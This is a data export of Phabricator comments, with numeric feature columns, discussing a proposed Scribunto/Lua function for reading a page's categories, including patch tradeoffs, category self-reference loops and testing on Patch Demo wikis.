implemented.",,,1714666635,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,23.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.264150943396227,0.7547169811320755,"I struggled to get proxying to work on the second test wiki I created, but I was able to still test the specific use case of category editnotices on the first test wiki and that functions correctly. We probably need more use cases tested before the change can be implemented."
2327566,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I struggled to get proxying to work on the second test wiki I created, but I was able to still test the specific use case of category editnotices and that functions correctly. We probably need more use cases tested before the change can be implemented.",,,1714666610,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,21.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,4.0,8.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.333333333333333,0.8125,"I struggled to get proxying to work on the second test wiki I created, but I was able to still test the specific use case of category editnotices and that functions correctly. We probably need more use cases tested before the change can be implemented."
2327487,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Awesome Aasim using patch(es) linked to this task:
[[ https://patchdemo.wmflabs.org/wikis/29fac70752/w ]]",,,1714661371,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,2.757575757575758,0.696969696969697,"Test wiki **created** on [[ URL | Patch demo ]] by Awesome Aasim using patch(es) linked to this task:
[[ URL ]]"
2327484,Scribunto/Lua should have a built-in method for retrieving categories used on a page,Okay I will just initialize a new wiki with proxying from EN Wikipedia.,,,1714661181,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.214285714285714,1.0,Okay I will just initialize a new wiki with proxying from EN Wikipedia.
2323873,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9746242, @Awesome_Aasim wrote:
> One can you enable proxying articles from en.wiki?

No, I don’t think it’s possible to enable proxying after creating the patch demo. If important, you can create a new patch demo with proxying enabled; otherwise, just copy the necessary pages with an edit summary linking to the enwiki page.

> And second, can you give the test account admin and interface-admin so I can test a specific use case (category based editnotices) with the Lua categories?

You can log in with the user name `Patch Demo` and the password `patchdemo1` and give yourself admin rights (or just use that account directly). This is a standard account that works on any Patch Demo wiki.",,,1714139068,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,564,,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,20.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,8.0,1.0,12.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,3.9270833333333335,0.7291666666666666,"QUOTE
QUOTE

No, I don’t think it’s possible to enable proxying after creating the patch demo. If important, you can create a new patch demo with proxying enabled; otherwise, just copy the necessary pages with an edit summary linking to the enwiki page.

QUOTE

You can log in with the user name CODE and the password CODE and give yourself admin rights (or just use that account directly). This is a standard account that works on any Patch Demo wiki."
2323504,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@Novem_Linguae I created a test account called ""Test"" on the test wiki you created on patch demo. I want to know if you can do a couple of things: One can you enable proxying articles from en.wiki? And second, can you give the test account admin and interface-admin so I can test a specific use case (category based editnotices) with the Lua categories?",,,1714074781,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,564,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,9.0,11.0,1.0,3.0,3.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.891891891891892,0.7162162162162162,"SCREEN_NAME I created a test account called ""Test"" on the test wiki you created on patch demo. I want to know if you can do a couple of things: One can you enable proxying articles from en.wiki? And second, can you give the test account admin and interface-admin so I can test a specific use case (category based editnotices) with the Lua categories?"
2320238,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"There is very much an error with this. Page is not in A so gets put in A, but now that the page is in A the parser function says that we are now in A and does not category link. This is a less obvious self reference loop. The page should detect that it is getting categorization information about itself, do a parse, and after recursing one down say ""template loop detected: A"" and throw the page into ""pages with template loops"". Something similar to what happens when you construct an actual template loop like this:{F47620082}",,,1713574509,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,563,,0.5,1.0,0.5,0.0,1.0,2.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,6.0,10.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,2.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,13.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.5,6.0,3.0,3.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,10.0,2.5,0.0,3.5,0.0,3.0,0.0,2.0,3.5,1.0,2.0,0.5,0.0,0.0,3.9363636363636365,0.7818181818181817,"There is very much an error with this. Page is not in A so gets put in A, but now that the page is in A the parser function says that we are now in A and does not category link. This is a less obvious self reference loop. The page should detect that it is getting categorization information about itself, do a parse, and after recursing one down say ""template loop detected: A"" and throw the page into ""pages with template loops"". Something similar to what happens when you construct an actual template loop like this:{F47620082}"
2320143,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9730478, @Awesome_Aasim wrote:
> https://patchdemo.wmflabs.org/wikis/878c4bb105/wiki/A says that the page is in A, even though it clearly is not from the category bar. This might be the ""unstable parses"" that matmarex was alluding to.

I don't see an issue. By the logic you have, page should be categorised to Category:A if it wasn't already in it. Once this is done, the page is //now// in Category:A and is indicated as such. 

I think we have established already that there are no ""unstable parses"". Purging the page any number of times doesn't change its categorisation. ",,,1713559024,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,563,,1.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,1.0,4.0,0.0,6.0,11.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,7.0,14.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.617283950617284,0.7037037037037037,"QUOTE
QUOTE

I don't see an issue. By the logic you have, page should be categorised to Category:A if it wasn't already in it. Once this is done, the page is //now// in Category:A and is indicated as such. 

I think we have established already that there are no ""unstable parses"". Purging the page any number of times doesn't change its categorisation. "
2320079,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Thank you. I just tested out the categories and specifically the undefined behavior which would result in a template loop for any other parser function.

https://patchdemo.wmflabs.org/wikis/878c4bb105/wiki/A says that the page is in A, even though it clearly is not from the category bar. This might be the ""unstable parses"" that matmarex was alluding to.

Can we maybe find a way to detect these template loops and throw an error in the Lua code if one occurs?",,,1713550469,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,563,,1.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,6.0,1.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,17.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,5.0,8.0,3.0,2.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,3.0,1.0,2.0,0.0,6.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,3.9302325581395348,0.7906976744186046,"Thank you. I just tested out the categories and specifically the undefined behavior which would result in a template loop for any other parser function.

URL says that the page is in A, even though it clearly is not from the category bar. This might be the ""unstable parses"" that matmarex was alluding to.

Can we maybe find a way to detect these template loops and throw an error in the Lua code if one occurs?"
2313439,Scribunto/Lua should have a built-in method for retrieving categories used on a page,@Awesome_Aasim You can do so: https://toolhub.wikimedia.org/tools/patchdemo,,,1712727381,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,562,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,SCREEN_NAME You can do so: URL
2313396,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Novem Linguae using patch(es) linked to this task:
[[ https://patchdemo.wmflabs.org/wikis/878c4bb105/w ]]",,,1712709797,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,562,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,2.757575757575758,0.696969696969697,"Test wiki **created** on [[ URL | Patch demo ]] by Novem Linguae using patch(es) linked to this task:
[[ URL ]]"
2313283,Scribunto/Lua should have a built-in method for retrieving categories used on a page,Might we be able to get this on a test wiki so we can ensure that there aren't any problems with the patch?,,,1712694065,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,562,,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,8.0,0.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,20.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4,0.96,Might we be able to get this on a test wiki so we can ensure that there aren't any problems with the patch?
2303800,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9595853, @SD0001 wrote:
> The proposed patch reads the categories from the db, sidesteping any ""cross-communication"" concerns. The tradeoff is that the categories reflect the ones produced by the last parsed version of the page, so if someone adds some categories and invokes this function on the current page in the same edit, the page is temporarily saved with lua returning outdated result, which gets fixed on the next purge or edit[0]. 

I view this as a feature, not a bug -- it breaks a possible cycle and avoids doing a full parse of the page just to extract categories.",,,1711390959,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,560,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,9.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.8823529411764706,"QUOTE
QUOTE

I view this as a feature, not a bug -- it breaks a possible cycle and avoids doing a full parse of the page just to extract categories."
2296031,Scribunto/Lua should have a built-in method for retrieving categories used on a page,I am also going to backtrack from what I was saying about the template loop issue. Instead of forbidding categorization... why not just add the page to the Category:Pages with template loops category?,,,1710298174,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,558,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,16.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,13.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,0.0,3.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,4.421052631578948,0.868421052631579,I am also going to backtrack from what I was saying about the template loop issue. Instead of forbidding categorization... why not just add the page to the Category:Pages with template loops category?
2296030,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 IMHO I think any effort to expose categories to Lua is better than nothing at all.

A more robust editnotice load module I worked on testwiki https://test.wikipedia.org/wiki/Module:Editnotice_load uses some hackery to get the categories from the (preprocessed) wikitext, it takes forever to load on large pages, like on this fork of Taylor Swift from enwiki: https://test.wikipedia.org/w/index.php?title=Taylor_Swift&action=edit

I don't think the result is even cached when used in interface messages, is it...",,,1710298027,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,558,,4.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,8.0,17.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,13.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,17.0,10.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,4.0602409638554215,0.7590361445783133,"SCREEN_NAME IMHO I think any effort to expose categories to Lua is better than nothing at all.

A more robust editnotice load module I worked on testwiki URL uses some hackery to get the categories from the (preprocessed) wikitext, it takes forever to load on large pages, like on this fork of Taylor Swift from enwiki: URL

I don't think the result is even cached when used in interface messages, is it..."
2289961,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"The proposed patch reads the categories from the db, sidesteping any ""cross-communication"" concerns. The tradeoff is that the categories reflect the ones produced by the last parsed version of the page, so if someone adds some categories and invokes this function on the current page in the same edit, the page is temporarily saved with lua returning outdated result, which gets fixed on the next purge or edit[0]. 

However, per @aaron on gerrit:
> It's strange for this to use the categories of the previous parsed revision. It's also not well defined to use the currently-being-parsed revision either.
>
> It's one thing to depend on page existence, current revision text, or current revision metadata, but depending on the parsed current revision of another page (let alone the same page) to generate the parsed output feels overly ""higher-order"".

This is something which does seem unprecedented in MediaWiki, although I'm not certain if it's a bad thing. As it stands, there are a lot of Scribunto feature requests where the only straightforward implementation is to use db data generated by the last parsed revision. 

| **Feature** | **Ticket** | **Workaround** |
| Reading categories (this ticket) | T50175 | [[https://en.wikipedia.org/wiki/Module:Mainspace_editnotice|Module:Mainspace_editnotice]], function blp_notice |
| Reading local short description | T216356 | [[https://en.wikipedia.org/wiki/Module:GetShortDescription|Module:GetShortDescription]] |
| Checking if page is a disambiguation page | T71441 | [[https://en.wikipedia.org/wiki/Module:Disambiguation|Module:Disambiguation]] |
 
Current workarounds generally try processing the raw getContent(), which is worse.

----
[0]: Even this minor annoyance is not unfixable. I earlier tried fixing it by using VARY_REVISION output flag. This doesn't quite work as it causes a re-purge before the link tables are updated. Instead, we could use a custom parser output flag which triggers the LinksUpdateComplete hook to re-purge once the link table is up to date.
",,,1709558536,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,557,,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,1.0,8.0,2.0,0.0,0.3333333333333333,1.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.6666666666666666,4.333333333333333,9.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,7.666666666666667,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,23.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,7.666666666666667,3.3333333333333335,10.0,2.3333333333333335,1.0,11.333333333333334,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,2.3333333333333335,9.0,3.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,1.6666666666666667,1.6666666666666667,0.0,2.6666666666666665,0.6666666666666666,0.0,2.3333333333333335,3.9599999999999995,0.6900000000000001,"The proposed patch reads the categories from the db, sidesteping any ""cross-communication"" concerns. The tradeoff is that the categories reflect the ones produced by the last parsed version of the page, so if someone adds some categories and invokes this function on the current page in the same edit, the page is temporarily saved with lua returning outdated result, which gets fixed on the next purge or edit[0]. 

However, perSCREEN_NAME on gerrit:
QUOTE
QUOTE
QUOTE

This is something which does seem unprecedented in MediaWiki, although I'm not certain if it's a bad thing. As it stands, there are a lot of Scribunto feature requests where the only straightforward implementation is to use db data generated by the last parsed revision. 

| **Feature** | **Ticket** | **Workaround** |
| Reading categories (this ticket) | T50175 | [[URL function blp_notice |
| Reading local short description | T216356 | [[URL |
| Checking if page is a disambiguation page | T71441 | [[URL |
 
Current workarounds generally try processing the raw getContent(), which is worse.

----
[0]: Even this minor annoyance is not unfixable. I earlier tried fixing it by using VARY_REVISION output flag. This doesn't quite work as it causes a re-purge before the link tables are updated. Instead, we could use a custom parser output flag which triggers the LinksUpdateComplete hook to re-purge once the link table is up to date.
"
2245697,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I like the idea of forbidding Scribunto output from adding new categories once categories have been read, but the implementation of that could be fraught.  Parsoid will parse the scribunto code as a separate ""top level document"" so in theory we could zero-out ParserOutput::$mCategories() after the Scribunto code has returned. This still works even if the categories were placed in ParserOutput by parsing `[[Category:Foo]]` as wikitext.  Seems like a pretty big hammer, though, for a problem we'd hope wouldn't arise in practice.
",,,1702407148,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,545,,0.0,0.0,0.0,2.0,1.0,5.0,1.0,0.0,1.0,1.0,5.0,2.0,0.0,0.0,0.0,3.0,1.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,9.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,14.0,6.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.37,0.76,"I like the idea of forbidding Scribunto output from adding new categories once categories have been read, but the implementation of that could be fraught.  Parsoid will parse the scribunto code as a separate ""top level document"" so in theory we could zero-out ParserOutput::$mCategories() after the Scribunto code has returned. This still works even if the categories were placed in ParserOutput by parsing CODE as wikitext.  Seems like a pretty big hammer, though, for a problem we'd hope wouldn't arise in practice.
"
2211743,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
> Here is a solution: only fill getCategories() for the page all the way up to the point of execution.

The problem is that the page may not be parsed in the same order each time, so this “all the way up to the point of execution” may change from parse to parse, without any edits.

> then we can also get that in the following scenario. Suppose we have the page ""Foo"" check to see if ""Foobar"" is in the page ""Bar"" and if so does nothing, and if not writes ""Foobar"". Now say ""Bar"" does the same for ""Foo"". Now the order of execution determines which page has ""Foobar"" and which one does not.

Actually, not:
* `mw.title:getContent()` returns the raw wikitext, without any parsing. This either contains or doesn’t contain `Foobar`; this fact can be changed only through an edit.
* `frame:expandTemplate()` uses the parser to get the preprocessed content, and the parser errors out, adding the page to [[https://en.wikipedia.org/wiki/Category:Pages_with_template_loops|Category:Pages with template loops]], when it notices this kind of recursion.",,,1697358959,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,536,,2.5,0.0,0.0,1.5,1.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,5.0,9.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.5,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,18.0,0.5,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,7.0,2.0,6.5,1.5,3.0,12.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.5,3.6229508196721314,0.7540983606557377,"QUOTE
QUOTE

The problem is that the page may not be parsed in the same order each time, so this “all the way up to the point of execution” may change from parse to parse, without any edits.

QUOTE

Actually, not:
* CODE returns the raw wikitext, without any parsing. This either contains or doesn’t contain CODE; this fact can be changed only through an edit.
* CODE uses the parser to get the preprocessed content, and the parser errors out, adding the page to [[URL with template loops]], when it notices this kind of recursion."
2192740,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
> There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.

Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace in the parser code that receives the output of the module function, but a module can be used to generate only part of a category link, like `[[Category:{{#invoke:example|emit_category_that_page_is_not_in}}]]`. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains `{{#invoke:module name|function name|...}}`. Text generated by a module invocation could also be put into a template that then puts the text in a category link.

